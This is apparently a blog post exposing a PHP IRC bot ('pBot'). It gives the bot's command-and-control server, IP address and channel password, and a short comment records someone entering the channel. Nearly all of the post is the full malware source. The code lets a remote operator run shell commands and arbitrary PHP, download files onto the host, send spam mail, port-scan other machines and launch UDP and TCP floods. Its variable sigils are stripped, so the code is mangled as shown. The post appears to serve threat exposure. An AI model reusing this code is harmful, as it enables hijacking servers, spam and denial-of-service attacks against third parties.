irc.by(Linux pBots hosted in Netherlands Netrc Llc)

Resolved : [irc.by] To [91.214.111.26]

Here is the pBot:

<!--

set_time_limit(0);
error_reporting(0);

class pBot
{
 var config = array("server"=>"irc.by",
                     "port"=>6669,
                     "pass"=>"fx",
                     "prefix"=>"fvox",
                     "maxrand"=>8,
                     "chan"=>"#webs",
                     "key"=>"",
                     "modes"=>"+iB-x",
                     "password"=>"webs",
                     "trigger"=>".",
                     "hostauth"=>"Click.Here.To.Install.These.Updates" // * for any hostname
                     );
 var users = array();
 function start()
 {
    if(!(this->conn = fsockopen(this->config['server'],this->config['port'],e,s,30)))
       this->start();
    ident = "";
    alph = range("a","z");
    for(i=0;i<this->config['maxrand'];i++)
       ident .= alph[rand(0,25)];
    if(strlen(this->config['pass'])>0)
       this->send("PASS ".this->config['pass']);
    this->send("USER ident 127.0.0.1 localhost :ident");
    this->set_nick();
    this->main();
 }
 function main()
 {
    while(!feof(this->conn))
    {
       this->buf = trim(fgets(this->conn,512));
       cmd = explode(" ",this->buf);
       if(substr(this->buf,0,6)=="PING :")
       {
          this->send("PONG :".substr(this->buf,6));
       }
       if(isset(cmd[1]) && cmd[1] =="001")
       {
          this->send("MODE ".this->nick." ".this->config['modes']);
          this->join(this->config['chan'],this->config['key']);
       }
       if(isset(cmd[1]) && cmd[1]=="433")
       {
          this->set_nick();
       }
       if(this->buf != old_buf)
       {
          mcmd = array();
          msg = substr(strstr(this->buf," :"),2);
          msgcmd = explode(" ",msg);
          nick = explode("!",cmd[0]);
          vhost = explode("@",nick[1]);
          vhost = vhost[1];
          nick = substr(nick[0],1);
          host = cmd[0];
          if(msgcmd[0]==this->nick)
          {
           for(i=0;i<count(msgcmd);i++)
              mcmd[i] = msgcmd[i+1];
          }
          else
          {
           for(i=0;i<count(msgcmd);i++)
              mcmd[i] = msgcmd[i];
          }
          if(count(cmd)>2)
          {
             switch(cmd[1])
             {
                case "QUIT":
                   if(this->is_logged_in(host))
                   {
                      this->log_out(host);
                   }
                break;
                case "PART":
                   if(this->is_logged_in(host))
                   {
                      this->log_out(host);
                   }
                break;
                case "PRIVMSG":
                   if(!this->is_logged_in(host) && (vhost == this->config['hostauth'] || this->config['hostauth'] == "*"))
                   {
                      if(substr(mcmd[0],0,1)==".")
                      {
                         switch(substr(mcmd[0],1))
                         {
                            case "user":
                              if(mcmd[1]==this->config['password'])
                              {
                                 this->privmsg(this->config['chan'],"[2auth2]: nick logged in");
                                 this->log_in(host);
                              }
                              else
                              {
                                 this->privmsg(this->config['chan'],"[2auth2]: Incorrect password from nick");
                              }
                            break;
                         }
                      }
                   }
                   elseif(this->is_logged_in(host))
                   {
                      if(substr(mcmd[0],0,1)==".")
                      {
                         switch(substr(mcmd[0],1))
                         {
                            case "restart":
                               this->send("QUIT :restart");
                               fclose(this->conn);
                               this->start();
                            break;
                            case "mail": //mail to from subject message
                               if(count(mcmd)>4)
                               {
                                  header = "From: <".mcmd[2].">";
                                  if(!mail(mcmd[1],mcmd[3],strstr(msg,mcmd[4]),header))
                                  {
                                     this->privmsg(this->config['chan'],"[2mail2]: Unable to send");
                                  }
                                  else 
                                  {
                                     this->privmsg(this->config['chan'],"[2mail2]: Message sent to 2".mcmd[1]."2");
                                  }
                               }
                            break;
                            case "dns":
                               if(isset(mcmd[1]))
                               {
                                  ip = explode(".",mcmd[1]);
                                  if(count(ip)==4 && is_numeric(ip[0]) && is_numeric(ip[1]) && is_numeric(ip[2]) && is_numeric(ip[3]))
                                  {
                                     this->privmsg(this->config['chan'],"[2dns2]: ".mcmd[1]." => ".gethostbyaddr(mcmd[1]));
                                  }
                                  else
                                  {
                                     this->privmsg(this->config['chan'],"[2dns2]: ".mcmd[1]." => ".gethostbyname(mcmd[1]));
                                  }
                               }
                            break;
                            case "info":
                               this->privmsg(this->config['chan'],"[2info2]: [2httpd2: "._SERVER['SERVER_SOFTWARE']."] [2docroot2: "._SERVER['DOCUMENT_ROOT']."] [2domain2: "._SERVER['SERVER_NAME']."] [2admin2: "._SERVER['SERVER_ADMIN']."] [2url2:"._SERVER['REQUEST_URI']."]");
                            break;
                            case "cmd":
                               if(isset(mcmd[1]))
                               {
                                  command = substr(strstr(msg,mcmd[0]),strlen(mcmd[0])+1);
                                  this->privmsg(this->config['chan'],"[2cmd2]: command");
                                  pipe = popen(command,"r");
                                  while(!feof(pipe))
                                  {
                                     pbuf = trim(fgets(pipe,512));
                                     if(pbuf != NULL)
                                        this->privmsg(this->config['chan'],"     : pbuf");
                                  }
                                  pclose(pipe);
                               }
                            break;
                            case "rndnick":
                               this->set_nick();
                            break;
                            case "raw":
                               this->send(strstr(msg,mcmd[1]));
                            break;
                            case "php":
                               eval = eval(substr(strstr(msg,mcmd[1]),strlen(mcmd[1])));
                            break;
                            case "exec":
                               command = substr(strstr(msg,mcmd[0]),strlen(mcmd[0])+1);
                               exec = shell_exec(command);
                               ret = explode("n",exec);
                               this->privmsg(this->config['chan'],"[2exec2]: command");
                               for(i=0;i<count(ret);i++)
                                  if(ret[i]!=NULL)
                                     this->privmsg(this->config['chan'],"      : ".trim(ret[i]));
                            break;
                            case "pscan": // .pscan 127.0.0.1 6667
                               if(count(mcmd) > 2)
                               {
                                  if(fsockopen(mcmd[1],mcmd[2],e,s,15))
                                     this->privmsg(this->config['chan'],"[2pscan2]: ".mcmd[1].":".mcmd[2]." is 2open2");
                                  else
                                     this->privmsg(this->config['chan'],"[2pscan2]: ".mcmd[1].":".mcmd[2]." is 2closed2");
                               }
                            break;
                            case "ud.server": // .udserver <server> <port> [password]
                               if(count(mcmd)>2)
                               {
                                  this->config['server'] = mcmd[1];
                                  this->config['port'] = mcmd[2];
                                  if(isset(mcmcd[3]))
                                  {
                                   this->config['pass'] = mcmd[3];
                                   this->privmsg(this->config['chan'],"[2update2]: Changed server to ".mcmd[1].":".mcmd[2]." Pass: ".mcmd[3]);
                                  }
                                  else
                                  {
                                     this->privmsg(this->config['chan'],"[2update2]: Changed server to ".mcmd[1].":".mcmd[2]);
                                  }
                               }
                            break;
                            case "download":
                               if(count(mcmd) > 2)
                               {
                                  if(!fp = fopen(mcmd[2],"w"))
                                  {
                                     this->privmsg(this->config['chan'],"[2download2]: Cannot download, permission denied.");
                                  }
                                  else
                                  {
                                     if(!get = file(mcmd[1]))
                                     {
                                        this->privmsg(this->config['chan'],"[2download2]: Unable to download from 2".mcmd[1]."2");
                                     }
                                     else
                                     {
                                        for(i=0;i<=count(get);i++)
                                        {
                                           fwrite(fp,get[i]);
                                        }
                                        this->privmsg(this->config['chan'],"[2download2]: File 2".mcmd[1]."2 downloaded to 2".mcmd[2]."2");
                                     }
                                     fclose(fp);
                                  }
                               }
                            break;
                            case "die":
                               this->send("QUIT :die command from nick");
                               fclose(this->conn);
                               exit;
                            case "logout":
                               this->log_out(host);
                               this->privmsg(this->config['chan'],"[2auth2]: nick logged out");
                            break;
                            case "udpflood":
                               if(count(mcmd)>4)
                               {
                                  this->udpflood(mcmd[1],mcmd[2],mcmd[3],mcmd[4]);
                               }
                            break;
                            case "tcpflood":
                               if(count(mcmd)>5)
                               {
                                  this->tcpflood(mcmd[1],mcmd[2],mcmd[3],mcmd[4],mcmd[5]);
                               }
                            break;
                         }
                      }
                   }
                break;
             }
          }
       }
       old_buf = this->buf;
    }
    this->start();
 }
 function send(msg)
 {
    fwrite(this->conn,"msgrn");
 }
 function join(chan,key=NULL)
 {
    this->send("JOIN chan key");
 }
 function privmsg(to,msg)
 {
    this->send("PRIVMSG to :msg");
 }
 function is_logged_in(host)
 {
    if(isset(this->users[host]))
       return 1;
    else
       return 0;
 }
 function log_in(host)
 {
    this->users[host] = true;
 }
 function log_out(host)
 {
    unset(this->users[host]);
 }
 function set_nick()
 {
    if(isset(_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower(_SERVER['SERVER_SOFTWARE']),"apache"))
          this->nick = "[A]";
       elseif(strstr(strtolower(_SERVER['SERVER_SOFTWARE']),"iis"))
          this->nick = "[I]";
       elseif(strstr(strtolower(_SERVER['SERVER_SOFTWARE']),"xitami"))
          this->nick = "[X]";
       else
          this->nick = "[U]";
    }
    else
    {
       this->nick = "[C]";
    }
    this->nick .= this->config['prefix'];
    for(i=0;i<this->config['maxrand'];i++)
       this->nick .= mt_rand(0,9);
    this->send("NICK ".this->nick);
 }
 function udpflood(host,packets,packetsize,delay)
 {
    this->privmsg(this->config['chan'],"[2udpflood2]: Sending packets packets to host. Packet size: packetsize");
    packet = "";
    for(i=0;i<packetsize;i++)
       packet .= chr(mt_rand(1,256));
    for(i=0;i<packets;i++)
    {
       if(!fp=fsockopen("udp://".host,mt_rand(0,6000),e,s,5))
       {
          this->privmsg(this->config['chan'],"[2udpflood2]: Error: <e>");
          return 0;
       }
       else
       {
          fwrite(fp,packet);
          fclose(fp);
       }
       sleep(delay);
    }
    this->privmsg(this->config['chan'],"[2udpflood2]: Finished sending packets packets to host.");
 }
 function tcpflood(host,packets,packetsize,port,delay)
 {
    this->privmsg(this->config['chan'],"[2tcpflood2]: Sending packets packets to host:port. Packet size: packetsize");
    packet = "";
    for(i=0;i<packetsize;i++)
       packet .= chr(mt_rand(1,256));
    for(i=0;i<packets;i++)
    {
       if(!fp=fsockopen("tcp://".host,port,e,s,5))
       {
          this->privmsg(this->config['chan'],"[2tcpflood2]: Error: <e>");
          return 0;
       }
       else
       {
          fwrite(fp,packet);
          fclose(fp);
       }
       sleep(delay);
    }
    this->privmsg(this->config['chan'],"[2tcpflood2]: Finished sending packets packets to host:port.");
 }
}

bot = new pBot;
bot->start();

?>

hosting infos:

http://whois.domaintools.com/91.214.111.26

Categories: Uncategorized

1 Comment

Anonymous - January 19, 2013 at 5:53 pm

Channel is empty. It's registered with ChanServ but nobody is there.

[11:49] * Now talking in #webs
[11:49] .user webs
[11:49] .info
[11:49] * ChanServ sets mode: +r-o Me

:'(

Comments are closed